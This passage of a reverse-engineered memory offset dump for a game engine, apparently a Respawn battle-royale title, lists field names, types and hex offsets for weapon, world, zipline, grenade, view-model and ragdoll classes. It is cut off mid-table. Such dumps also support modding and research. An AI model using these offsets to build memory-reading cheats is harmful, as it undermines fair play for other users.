+class DT_WeaponX_LocalWeaponData + +``` +{ + m_nNextThinkTick: Int, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_bInReload: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_LocalWeaponData!0x054c m_nNextThinkTick +DT_WeaponX_LocalWeaponData!0x1604 m_lastPrimaryAttack +DT_WeaponX_LocalWeaponData!0x1608 m_nextReadyTime +DT_WeaponX_LocalWeaponData!0x160c m_nextPrimaryAttackTime +DT_WeaponX_LocalWeaponData!0x1610 m_attackTimeThisFrame +DT_WeaponX_LocalWeaponData!0x1634 m_ammoInClip +DT_WeaponX_LocalWeaponData!0x1638 m_ammoInStockpile +DT_WeaponX_LocalWeaponData!0x163c m_lifetimeShots +DT_WeaponX_LocalWeaponData!0x1640 m_flTimeWeaponIdle +DT_WeaponX_LocalWeaponData!0x164a m_bInReload +``` +
+
+class DT_WeaponX_PredictingClientOnly + +``` +{ + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Int, + m_weaponIsCharging: Int, + m_weaponChargeLevelIncreasedAnimPlaying: Int, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_animModelIndexPredictingClientOnly: Int, + m_animSequencePredictingClientOnly: Int, +} +``` + +### Offsets + +``` +DT_WeaponX_PredictingClientOnly!0x1764 m_lastRegenTime +DT_WeaponX_PredictingClientOnly!0x1768 m_cooldownEndTime +DT_WeaponX_PredictingClientOnly!0x176c m_stockPileWasDraining +DT_WeaponX_PredictingClientOnly!0x176d m_weaponIsCharging +DT_WeaponX_PredictingClientOnly!0x176e m_weaponChargeLevelIncreasedAnimPlaying +DT_WeaponX_PredictingClientOnly!0x1770 m_lastChargeLevel +DT_WeaponX_PredictingClientOnly!0x1774 m_chargeEnergyDepleteStepCounter +DT_WeaponX_PredictingClientOnly!0x1778 m_burstFireCount +DT_WeaponX_PredictingClientOnly!0x177c m_burstFireIndex +DT_WeaponX_PredictingClientOnly!0x1780 m_shotIndexForSpread +DT_WeaponX_PredictingClientOnly!0x1784 m_shotCount +DT_WeaponX_PredictingClientOnly!0x17b4 m_animModelIndexPredictingClientOnly +DT_WeaponX_PredictingClientOnly!0x17b8 m_animSequencePredictingClientOnly +``` +
+
+class DT_World extends DT_BaseEntity + +``` +{ + m_WorldMins: Vector, + m_WorldMaxs: Vector, + m_bStartDark: Int, + m_statusEffectsGenerationNV: Int, + m_worldFlags: Int, + m_timeshiftArmDeviceSkin: Int, + m_spTitanLoadoutUnlocks: Int, + m_deathFieldIsActive: DataTable, + m_deathFieldOrigin: DataTable, + m_deathFieldRadiusStart: DataTable, + m_deathFieldRadiusEnd: DataTable, + m_deathFieldTimeStart: DataTable, + m_deathFieldTimeEnd: DataTable, + m_teamRelationRulesForPVE: Int, + m_civilTeamsMaskA: DataTable, + m_civilTeamsMaskB: DataTable, + m_rabidTeamsMask: DataTable, +} +``` + +### Offsets + +``` +DT_World!0x0a40 m_WorldMins +DT_World!0x0a4c m_WorldMaxs +DT_World!0x0a58 m_bStartDark +DT_World!0x0a6c m_statusEffectsGenerationNV +DT_World!0x0a74 m_worldFlags +DT_World!0x0a78 m_timeshiftArmDeviceSkin +DT_World!0x0a7c m_spTitanLoadoutUnlocks +DT_World!0x0a80 m_deathFieldIsActive +DT_World!0x0ac0 m_deathFieldOrigin +DT_World!0x0dc0 m_deathFieldRadiusStart +DT_World!0x0ec0 m_deathFieldRadiusEnd +DT_World!0x0fc0 m_deathFieldTimeStart +DT_World!0x10c0 m_deathFieldTimeEnd +DT_World!0x11c0 m_teamRelationRulesForPVE +DT_World!0x11c8 m_civilTeamsMaskA +DT_World!0x11d8 m_civilTeamsMaskB +DT_World!0x11f0 m_rabidTeamsMask +``` +
+
+class DT_Zipline extends DT_BaseEntity + +``` +{ + m_numZiplinePoints: Int, + m_ziplinePositions: DataTable, + m_ziplinePhysics: DT_ZiplinePhysics, + m_ziplineMaterialIndex: Int, + m_prevZipline: Int, + m_nextZipline: Int, + m_detachEndOnUse: Int, + m_dropToBottom: Int, + m_ziplineAutoDetachDistance: Float, + m_ziplineVerticalPushOffInDirectionX: Int, + m_ziplineVerticalPreserveVelocity: Int, + m_ziplineWidth: Float, + m_ziplineEnabled: Int, + m_ziplineRestPositions: DataTable, + m_numZiplineRestPositions: Int, + m_ziplineFadeDist: Float, + m_ziplineSpeedScale: Float, +} +``` + +### Offsets + +``` +DT_Zipline!0x0008 m_numZiplinePoints +DT_Zipline!0x000c m_ziplinePositions +DT_Zipline!0x0a40 m_ziplinePhysics +DT_Zipline!0x0d88 m_ziplineMaterialIndex +DT_Zipline!0x0d8c m_prevZipline +DT_Zipline!0x0d90 m_nextZipline +DT_Zipline!0x0d94 m_detachEndOnUse +DT_Zipline!0x0d95 m_dropToBottom +DT_Zipline!0x0d98 m_ziplineAutoDetachDistance +DT_Zipline!0x0d9c m_ziplineVerticalPushOffInDirectionX +DT_Zipline!0x0d9d m_ziplineVerticalPreserveVelocity +DT_Zipline!0x0da0 m_ziplineWidth +DT_Zipline!0x0da4 m_ziplineEnabled +DT_Zipline!0x0da8 m_ziplineRestPositions +DT_Zipline!0x0e68 m_numZiplineRestPositions +DT_Zipline!0x0e6c m_ziplineFadeDist +DT_Zipline!0x0e70 m_ziplineSpeedScale +``` +
+
+class DT_ZiplinePhysics + +``` +{ + ziplinephysicsexclusive: DT_ZiplinePhysicsExlusive, + m_isInit: Int, + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_springDistance: Float, + m_springDistanceScale: Float, + m_outerZiplineEntity: Int, + m_attachedEntities: DataTable, + m_numAttachedEntities: Int, + m_ziplineOwner: Int, +} +``` + +### Offsets + +``` +DT_ZiplinePhysics!0x0000 ziplinephysicsexclusive +DT_ZiplinePhysics!0x0008 m_isInit +DT_ZiplinePhysics!0x000c m_ziplineType +DT_ZiplinePhysics!0x0010 m_ziplineStart +DT_ZiplinePhysics!0x001c m_ziplineEnd +DT_ZiplinePhysics!0x022c m_springDistance +DT_ZiplinePhysics!0x0230 m_springDistanceScale +DT_ZiplinePhysics!0x0238 m_outerZiplineEntity +DT_ZiplinePhysics!0x0240 m_attachedEntities +DT_ZiplinePhysics!0x0340 m_numAttachedEntities +DT_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class DT_ZiplinePhysicsExlusive + +``` +{ + m_nodes: DataTable, + m_numNodes: Int, + m_remainingUnsimulatedTime: Float, +} +``` + +### Offsets + +``` +DT_ZiplinePhysicsExlusive!0x0028 m_nodes +DT_ZiplinePhysicsExlusive!0x0228 m_numNodes +DT_ZiplinePhysicsExlusive!0x0234 m_remainingUnsimulatedTime +``` +
+ +## Datamaps + +
+class CBaseGrenade extends C_BaseAnimating + +``` +{ + m_vecVelocity: Vector, + m_doesExplode: Bool, + m_DmgRadius: Bool, + m_grenadeCreationTime: Float, + m_grenadeCreationOrigin: Vector, + m_useMaskAbility: Bool, + m_grenadeStatusFlags: Int, + m_flDamage: Float, + m_hThrower: EHANDLE, +} +``` + +### Offsets + +``` +CBaseGrenade!0x0460 m_vecVelocity +CBaseGrenade!0x2c41 m_doesExplode +CBaseGrenade!0x2c44 m_DmgRadius +CBaseGrenade!0x2c54 m_grenadeCreationTime +CBaseGrenade!0x2c58 m_grenadeCreationOrigin +CBaseGrenade!0x2c64 m_useMaskAbility +CBaseGrenade!0x2c68 m_grenadeStatusFlags +CBaseGrenade!0x2cf0 m_flDamage +CBaseGrenade!0x2cf4 m_hThrower +``` +
+
+class CBaseViewModel + +``` +{ + m_currentFrame.modelIndex: Short, + m_currentFrame.animCycle: Float, + m_angAbsRotation: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_fEffects: Int, + m_angNetworkAngles: Vector, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, + m_viewModelOwner: EHANDLE, + m_projectileIsVisible: Bool, + m_bBlockEventLayer: Bool, + m_isAdsTransition: Bool, + m_hWeapon: EHANDLE, + m_tracerAttachments: Int, + m_tracerAttachments: Int, + m_tracerAttachmentsScoped: Int, + m_tracerAttachmentsScoped: Int, +} +``` + +### Offsets + +``` +CBaseViewModel!0x00a8 m_currentFrame.modelIndex +CBaseViewModel!0x00c4 m_currentFrame.animCycle +CBaseViewModel!0x0134 m_angAbsRotation +CBaseViewModel!0x014c m_vecAbsOrigin +CBaseViewModel!0x0158 m_localOrigin +CBaseViewModel!0x0164 m_localAngles +CBaseViewModel!0x042c m_fEffects +CBaseViewModel!0x046c m_angNetworkAngles +CBaseViewModel!0x0e90 m_nBody +CBaseViewModel!0x0e9c m_nResetEventsParity +CBaseViewModel!0x0f34 m_bSequenceFinished +CBaseViewModel!0x0f4c m_currentFrameBaseAnimating.animStartTime +CBaseViewModel!0x0f50 m_currentFrameBaseAnimating.animStartCycle +CBaseViewModel!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +CBaseViewModel!0x0f5c m_currentFrameBaseAnimating.animModelIndex +CBaseViewModel!0x0f60 m_currentFrameBaseAnimating.animSequence +CBaseViewModel!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +CBaseViewModel!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +CBaseViewModel!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +CBaseViewModel!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +CBaseViewModel!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +CBaseViewModel!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +CBaseViewModel!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +CBaseViewModel!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +CBaseViewModel!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +CBaseViewModel!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +CBaseViewModel!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +CBaseViewModel!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +CBaseViewModel!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +CBaseViewModel!0x19d8 m_viewModelOwner +CBaseViewModel!0x19dc m_projectileIsVisible +CBaseViewModel!0x1dc0 m_bBlockEventLayer +CBaseViewModel!0x1dc1 m_isAdsTransition +CBaseViewModel!0x1dc4 m_hWeapon +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dc8 m_tracerAttachments +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +CBaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class CCollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Char, + m_triggerBloat: Char, + m_collisionDetailLevel: Char, +} +``` + +### Offsets + +``` +CCollisionProperty!0x0010 m_vecMins +CCollisionProperty!0x001c m_vecMaxs +CCollisionProperty!0x0028 m_usSolidFlags +CCollisionProperty!0x002c m_nSolidType +CCollisionProperty!0x002d m_triggerBloat +CCollisionProperty!0x002e m_collisionDetailLevel +``` +
+
+class CGrappleHook + +``` +{ + m_pMoveParent: EHANDLE, + m_localOrigin: Vector, + m_localAngles: Vector, + m_visibilityFlags: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_parentAttachmentHitbox: Int, + m_grappleZipline: EHANDLE, +} +``` + +### Offsets + +``` +CGrappleHook!0x0118 m_pMoveParent +CGrappleHook!0x0158 m_localOrigin +CGrappleHook!0x0164 m_localAngles +CGrappleHook!0x0428 m_visibilityFlags +CGrappleHook!0x082c m_parentAttachmentType +CGrappleHook!0x0830 m_parentAttachmentIndex +CGrappleHook!0x0834 m_parentAttachmentHitbox +CGrappleHook!0x1600 m_grappleZipline +``` +
+
+class CPlayerShared + +``` +{ + m_nPlayerCond: Int, +} +``` + +### Offsets + +``` +CPlayerShared!0x0008 m_nPlayerCond +``` +
+
+class CPlayerState + +``` +{ + deadflag: Bool, +} +``` + +### Offsets + +``` +CPlayerState!0x006c deadflag +``` +
+
+class CPredictedFirstPersonProxy extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_camoIndex: Int, +} +``` + +### Offsets + +``` +CPredictedFirstPersonProxy!0x0158 m_localOrigin +CPredictedFirstPersonProxy!0x0164 m_localAngles +CPredictedFirstPersonProxy!0x0460 m_vecVelocity +CPredictedFirstPersonProxy!0x046c m_angNetworkAngles +CPredictedFirstPersonProxy!0x0c00 m_SequenceTransitioner +CPredictedFirstPersonProxy!0x0e94 m_camoIndex +``` +
+
+class CRagdoll + +``` +{ + m_ragdoll.listCount: Int, + m_ragdoll.allowStretch: Bool, + m_ragdoll.list[0 + 0].originParentSpace: Vector, + m_ragdoll.list[0 + 0].pObject: Custom, + m_ragdoll.list[0 + 0].pConstraint: Custom, + m_ragdoll.list[0 + 0].parentIndex: Int, + m_ragdoll.list[0 + 1].originParentSpace: Vector, + m_ragdoll.list[0 + 1].pObject: Custom, + m_ragdoll.list[0 + 1].pConstraint: Custom, + m_ragdoll.list[0 + 1].parentIndex: Int, + m_ragdoll.list[0 + 2].originParentSpace: Vector, + m_ragdoll.list[0 + 2].pObject: Custom, + m_ragdoll.list[0 + 2].pConstraint: Custom, + m_ragdoll.list[0 + 2].parentIndex: Int, + m_ragdoll.list[0 + 3].originParentSpace: Vector, + m_ragdoll.list[0 + 3].pObject: Custom, + m_ragdoll.list[0 + 3].pConstraint: Custom, + m_ragdoll.list[0 + 3].parentIndex: Int, + m_ragdoll.list[0 + 4].originParentSpace: Vector, + m_ragdoll.list[0 + 4].pObject: Custom, + m_ragdoll.list[0 + 4].pConstraint: Custom, + m_ragdoll.list[0 + 4].parentIndex: Int, + m_ragdoll.list[0 + 5].originParentSpace: Vector, + m_ragdoll.list[0 + 5].pObject: Custom, + m_ragdoll.list[0 + 5].pConstraint: Custom, + m_ragdoll.list[0 + 5].parentIndex: Int, + m_ragdoll.list[0 + 6].originParentSpace: Vector, + m_ragdoll.list[0 + 6].pObject: Custom, + m_ragdoll.list[0 + 6].pConstraint: Custom, + m_ragdoll.list[0 + 6].parentIndex: Int, + m_ragdoll.list[0 + 7].originParentSpace: Vector, + m_ragdoll.list[0 + 7].pObject: Custom, + m_ragdoll.list[0 + 7].pConstraint: Custom, + m_ragdoll.list[0 + 7].parentIndex: Int, + m_ragdoll.list[8 + 0].originParentSpace: Vector, + m_ragdoll.list[8 + 0].pObject: Custom, + m_ragdoll.list[8 + 0].pConstraint: Custom, + m_ragdoll.list[8 + 0].parentIndex: Int, + m_ragdoll.list[8 + 1].originParentSpace: Vector, + m_ragdoll.list[8 + 1].pObject: Custom, + m_ragdoll.list[8 + 1].pConstraint: Custom, + m_ragdoll.list[8 + 1].parentIndex: Int, + m_ragdoll.list[8 + 2].originParentSpace: Vector, + m_ragdoll.list[8 + 2].pObject: Custom, + m_ragdoll.list[8 + 2].pConstraint: Custom, + m_ragdoll.list[8 + 2].parentIndex: Int, + m_ragdoll.list[8 + 3].originParentSpace: Vector, + m_ragdoll.list[8 + 3].pObject: Custom, + m_ragdoll.list[8 + 3].pConstraint: Custom, + m_ragdoll.list[8 + 3].parentIndex: Int, + m_ragdoll.list[8 + 4].originParentSpace: Vector, + m_ragdoll.list[8 + 4].pObject: Custom, + m_ragdoll.list[8 + 4].pConstraint: Custom, + m_ragdoll.list[8 + 4].parentIndex: Int, + m_ragdoll.list[8 + 5].originParentSpace: Vector, + m_ragdoll.list[8 + 5].pObject: Custom, + m_ragdoll.list[8 + 5].pConstraint: Custom, + m_ragdoll.list[8 + 5].parentIndex: Int, + m_ragdoll.list[8 + 6].originParentSpace: Vector, + m_ragdoll.list[8 + 6].pObject: Custom, + m_ragdoll.list[8 + 6].pConstraint: Custom, + m_ragdoll.list[8 + 6].parentIndex: Int, + m_ragdoll.list[8 + 7].originParentSpace: Vector, + m_ragdoll.list[8 + 7].pObject: Custom, + m_ragdoll.list[8 + 7].pConstraint: Custom, + m_ragdoll.list[8 + 7].parentIndex: Int, + m_ragdoll.list[16 + 0].originParentSpace: Vector, + m_ragdoll.list[16 + 0].pObject: Custom, + m_ragdoll.list[16 + 0].pConstraint: Custom, + m_ragdoll.list[16 + 0].parentIndex: Int, + m_ragdoll.list[16 + 1].originParentSpace: Vector, + m_ragdoll.list[16 + 1].pObject: Custom, + m_ragdoll.list[16 + 1].pConstraint: Custom, + m_ragdoll.list[16 + 1].parentIndex: Int, + m_ragdoll.list[16 + 2].originParentSpace: Vector, + m_ragdoll.list[16 + 2].pObject: Custom, + m_ragdoll.list[16 + 2].pConstraint: Custom, + m_ragdoll.list[16 + 2].parentIndex: Int, + m_ragdoll.list[16 + 3].originParentSpace: Vector, + m_ragdoll.list[16 + 3].pObject: Custom, + m_ragdoll.list[16 + 3].pConstraint: Custom, + m_ragdoll.list[16 + 3].parentIndex: Int, + m_ragdoll.list[16 + 4].originParentSpace: Vector, + m_ragdoll.list[16 + 4].pObject: Custom, + m_ragdoll.list[16 + 4].pConstraint: Custom, + m_ragdoll.list[16 + 4].parentIndex: Int, + m_ragdoll.list[16 + 5].originParentSpace: Vector, + m_ragdoll.list[16 + 5].pObject: Custom, + m_ragdoll.list[16 + 5].pConstraint: Custom, + m_ragdoll.list[16 + 5].parentIndex: Int, + m_ragdoll.list[16 + 6].originParentSpace: Vector, + m_ragdoll.list[16 + 6].pObject: Custom, + m_ragdoll.list[16 + 6].pConstraint: Custom, + m_ragdoll.list[16 + 6].parentIndex: Int, + m_ragdoll.list[16 + 7].originParentSpace: Vector, + m_ragdoll.list[16 + 7].pObject: Custom, + m_ragdoll.list[16 + 7].pConstraint: Custom, + m_ragdoll.list[16 + 7].parentIndex: Int, + m_ragdoll.list[24 + 0].originParentSpace: Vector, + m_ragdoll.list[24 + 0].pObject: Custom, + m_ragdoll.list[24 + 0].pConstraint: Custom, + m_ragdoll.list[24 + 0].parentIndex: Int, + m_ragdoll.list[24 + 1].originParentSpace: Vector, + m_ragdoll.list[24 + 1].pObject: Custom, + m_ragdoll.list[24 + 1].pConstraint: Custom, + m_ragdoll.list[24 + 1].parentIndex: Int, + m_ragdoll.list[24 + 2].originParentSpace: Vector, + m_ragdoll.list[24 + 2].pObject: Custom, + m_ragdoll.list[24 + 2].pConstraint: Custom, + m_ragdoll.list[24 + 2].parentIndex: Int, + m_ragdoll.list[24 + 3].originParentSpace: Vector, + m_ragdoll.list[24 + 3].pObject: Custom, + m_ragdoll.list[24 + 3].pConstraint: Custom, + m_ragdoll.list[24 + 3].parentIndex: Int, + m_ragdoll.list[24 + 4].originParentSpace: Vector, + m_ragdoll.list[24 + 4].pObject: Custom, + m_ragdoll.list[24 + 4].pConstraint: Custom, + m_ragdoll.list[24 + 4].parentIndex: Int, + m_ragdoll.list[24 + 5].originParentSpace: Vector, + m_ragdoll.list[24 + 5].pObject: Custom, + m_ragdoll.list[24 + 5].pConstraint: Custom, + m_ragdoll.list[24 + 5].parentIndex: Int, + m_ragdoll.list[24 + 6].originParentSpace: Vector, + m_ragdoll.list[24 + 6].pObject: Custom, + m_ragdoll.list[24 + 6].pConstraint: Custom, + m_ragdoll.list[24 + 6].parentIndex: Int, + m_ragdoll.list[24 + 7].originParentSpace: Vector, + m_ragdoll.list[24 + 7].pObject: Custom, + m_ragdoll.list[24 + 7].pConstraint: Custom, + m_ragdoll.list[24 + 7].parentIndex: Int, + m_ragdoll.boneIndex: Int, +} +``` + +### Offsets + +``` +CRagdoll!0x0000 m_ragdoll.listCount +CRagdoll!0x0004 m_ragdoll.allowStretch +CRagdoll!0x0008 m_ragdoll.list[0 + 0].originParentSpace +CRagdoll!0x0018 m_ragdoll.list[0 + 0].pObject +CRagdoll!0x0020 m_ragdoll.list[0 + 0].pConstraint +CRagdoll!0x0028 m_ragdoll.list[0 + 0].parentIndex +CRagdoll!0x0030 m_ragdoll.list[0 + 1].originParentSpace +CRagdoll!0x0040 m_ragdoll.list[0 + 1].pObject +CRagdoll!0x0048 m_ragdoll.list[0 + 1].pConstraint +CRagdoll!0x0050 m_ragdoll.list[0 + 1].parentIndex +CRagdoll!0x0058 m_ragdoll.list[0 + 2].originParentSpace +CRagdoll!0x0068 m_ragdoll.list[0 + 2].pObject +CRagdoll!0x0070 m_ragdoll.list[0 + 2].pConstraint +CRagdoll!0x0078 m_ragdoll.list[0 + 2].parentIndex +CRagdoll!0x0080 m_ragdoll.list[0 + 3].originParentSpace +CRagdoll!0x0090 m_ragdoll.list[0 + 3].pObject +CRagdoll!0x0098 m_ragdoll.list[0 + 3].pConstraint +CRagdoll!0x00a0 m_ragdoll.list[0 + 3].parentIndex +CRagdoll!0x00a8 m_ragdoll.list[0 + 4].originParentSpace +CRagdoll!0x00b8 m_ragdoll.list[0 + 4].pObject +CRagdoll!0x00c0 m_ragdoll.list[0 + 4].pConstraint +CRagdoll!0x00c8 m_ragdoll.list[0 + 4].parentIndex +CRagdoll!0x00d0 m_ragdoll.list[0 + 5].originParentSpace +CRagdoll!0x00e0 m_ragdoll.list[0 + 5].pObject +CRagdoll!0x00e8 m_ragdoll.list[0 + 5].pConstraint +CRagdoll!0x00f0 m_ragdoll.list[0 + 5].parentIndex +CRagdoll!0x00f8 m_ragdoll.list[0 + 6].originParentSpace +CRagdoll!0x0108 m_ragdoll.list[0 + 6].pObject +CRagdoll!0x0110 m_ragdoll.list[0 + 6].pConstraint +CRagdoll!0x0118 m_ragdoll.list[0 + 6].parentIndex +CRagdoll!0x0120 m_ragdoll.list[0 + 7].originParentSpace +CRagdoll!0x0130 m_ragdoll.list[0 + 7].pObject +CRagdoll!0x0138 m_ragdoll.list[0 + 7].pConstraint +CRagdoll!0x0140 m_ragdoll.list[0 + 7].parentIndex +CRagdoll!0x0148 m_ragdoll.list[8 + 0].originParentSpace +CRagdoll!0x0158 m_ragdoll.list[8 + 0].pObject +CRagdoll!0x0160 m_ragdoll.list[8 + 0].pConstraint +CRagdoll!0x0168 m_ragdoll.list[8 + 0].parentIndex +CRagdoll!0x0170 m_ragdoll.list[8 + 1].originParentSpace +CRagdoll!0x0180 m_ragdoll.list[8 + 1].pObject +CRagdoll!0x0188 m_ragdoll.list[8 + 1].pConstraint +CRagdoll!0x0190 m_ragdoll.list[8 + 1].parentIndex +CRagdoll!0x0198 m_ragdoll.list[8 + 2].originParentSpace +CRagdoll!0x01a8 m_ragdoll.list[8 + 2].pObject +CRagdoll!0x01b0 m_ragdoll.list[8 + 2].pConstraint +CRagdoll!0x01b8 m_ragdoll.list[8 + 2].parentIndex +CRagdoll!0x01c0 m_ragdoll.list[8 + 3].originParentSpace +CRagdoll!0x01d0 m_ragdoll.list[8 + 3].pObject +CRagdoll!0x01d8 m_ragdoll.list[8 + 3].pConstraint +CRagdoll!0x01e0 m_ragdoll.list[8 + 3].parentIndex +CRagdoll!0x01e8 m_ragdoll.list[8 + 4].originParentSpace +CRagdoll!0x01f8 m_ragdoll.list[8 + 4].pObject +CRagdoll!0x0200 m_ragdoll.list[8 + 4].pConstraint +CRagdoll!0x0208 m_ragdoll.list[8 + 4].parentIndex +CRagdoll!0x0210 m_ragdoll.list[8 + 5].originParentSpace +CRagdoll!0x0220 m_ragdoll.list[8 + 5].pObject +CRagdoll!0x0228 m_ragdoll.list[8 + 5].pConstraint +CRagdoll!0x0230 m_ragdoll.list[8 + 5].parentIndex +CRagdoll!0x0238 m_ragdoll.list[8 + 6].originParentSpace +CRagdoll!0x0248 m_ragdoll.list[8 + 6].pObject +CRagdoll!0x0250 m_ragdoll.list[8 + 6].pConstraint +CRagdoll!0x0258 m_ragdoll.list[8 + 6].parentIndex +CRagdoll!0x0260 m_ragdoll.list[8 + 7].originParentSpace +CRagdoll!0x0270 m_ragdoll.list[8 + 7].pObject +CRagdoll!0x0278 m_ragdoll.list[8 + 7].pConstraint +CRagdoll!0x0280 m_ragdoll.list[8 + 7].parentIndex +CRagdoll!0x0288 m_ragdoll.list[16 + 0].originParentSpace +CRagdoll!0x0298 m_ragdoll.list[16 + 0].pObject +CRagdoll!0x02a0 m_ragdoll.list[16 + 0].pConstraint +CRagdoll!0x02a8 m_ragdoll.list[16 + 0].parentIndex +CRagdoll!0x02b0 m_ragdoll.list[16 + 1].originParentSpace +CRagdoll!0x02c0 m_ragdoll.list[16 + 1].pObject +CRagdoll!0x02c8 m_ragdoll.list[16 + 1].pConstraint +CRagdoll!0x02d0 m_ragdoll.list[16 + 1].parentIndex +CRagdoll!0x02d8 m_ragdoll.list[16 + 2].originParentSpace +CRagdoll!0x02e8 m_ragdoll.list[16 + 2].pObject +CRagdoll!0x02f0 m_ragdoll.list[16 + 2].pConstraint +CRagdoll!0x02f8 m_ragdoll.list[16 + 2].parentIndex +CRagdoll!0x0300 m_ragdoll.list[16 + 3].originParentSpace +CRagdoll!0x0310 m_ragdoll.list[16 + 3].pObject +CRagdoll!0x0318 m_ragdoll.list[16 + 3].pConstraint +CRagdoll!0x0320 m_ragdoll.list[16 + 3].parentIndex +CRagdoll!0x0328 m_ragdoll.list[16 + 4].originParentSpace +CRagdoll!0x0338 m_ragdoll.list[16 + 4].pObject +CRagdoll!0x0340 m_ragdoll.list[16 + 4].pConstraint +CRagdoll!0x0348 m_ragdoll.list[16 + 4].parentIndex +CRagdoll!0x0350 m_ragdoll.list[16 + 5].originParentSpace +CRagdoll!0x0360 m_ragdoll.list[16 + 5].pObject +CRagdoll!0x0368 m_ragdoll.list[16 + 5].pConstraint +CRagdoll!0x0370 m_ragdoll.list[16 + 5].parentIndex +CRagdoll!0x0378 m_ragdoll.list[16 + 6].originParentSpace +CRagdoll!0x0388 m_ragdoll.list[16 + 6].pObject +CRagdoll!0x0390 m_ragdoll.list[16 + 6].pConstraint +CRagdoll!0x0398 m_ragdoll.list[16 + 6].parentIndex +CRagdoll!0x03a0 m_ragdoll.list[16 + 7].originParentSpace +CRagdoll!0x03b0 m_ragdoll.list[16 + 7].pObject +CRagdoll!0x03b8 m_ragdoll.list[16 + 7].pConstraint +CRagdoll!0x03c0 m_ragdoll.list[16 + 7].parentIndex +CRagdoll!0x03c8 m_ragdoll.list[24 + 0].originParentSpace +CRagdoll!0x03d8 m_ragdoll.list[24 + 0].pObject +CRagdoll!0x03e0 m_ragdoll.list[24 + 0].pConstraint +CRagdoll!0x03e8 m_ragdoll.list[24 + 0].parentIndex +CRagdoll!0x03f0 m_ragdoll.list[24 + 1].originParentSpace +CRagdoll!0x0400 m_ragdoll.list[24 + 1].pObject +CRagdoll!0x0408 m_ragdoll.list[24 + 1].pConstraint +CRagdoll!0x0410 m_ragdoll.list[24 + 1].parentIndex +CRagdoll!0x0418 m_ragdoll.list[24 + 2].originParentSpace +CRagdoll!0x0428 m_ragdoll.list[24 + 2].pObject +CRagdoll!0x0430 m_ragdoll.list[24 + 2].pConstraint +CRagdoll!0x0438 m_ragdoll.list[24 + 2].parentIndex +CRagdoll!0x0440 m_ragdoll.list[24 + 3].originParentSpace +CRagdoll!0x0450 m_ragdoll.list[24 + 3].pObject +CRagdoll!0x0458 m_ragdoll.list[24 + 3].pConstraint +CRagdoll!0x0460 m_ragdoll.list[24 + 3].parentIndex +CRagdoll!0x0468 m_ragdoll.list[24 + 4].originParentSpace +CRagdoll!0x0478 m_ragdoll.list[24 + 4].pObject +CRagdoll!0x0480 m_ragdoll.list[24 + 4].pConstraint +CRagdoll!0x0488 m_ragdoll.list[24 + 4].parentIndex +CRagdoll!0x0490 m_ragdoll.list[24 + 5].originParentSpace +CRagdoll!0x04a0 m_ragdoll.list[24 + 5].pObject +CRagdoll!0x04a8 m_ragdoll.list[24 + 5].pConstraint +CRagdoll!0x04b0 m_ragdoll.list[24 + 5].parentIndex +CRagdoll!0x04b8 m_ragdoll.list[24 + 6].originParentSpace +CRagdoll!0x04c8 m_ragdoll.list[24 + 6].pObject +CRagdoll!0x04d0 m_ragdoll.list[24 + 6].pConstraint +CRagdoll!0x04d8 m_ragdoll.list[24 + 6].parentIndex +CRagdoll!0x04e0 m_ragdoll.list[24 + 7].originParentSpace +CRagdoll!0x04f0 m_ragdoll.list[24 + 7].pObject +CRagdoll!0x04f8 m_ragdoll.list[24 + 7].pConstraint 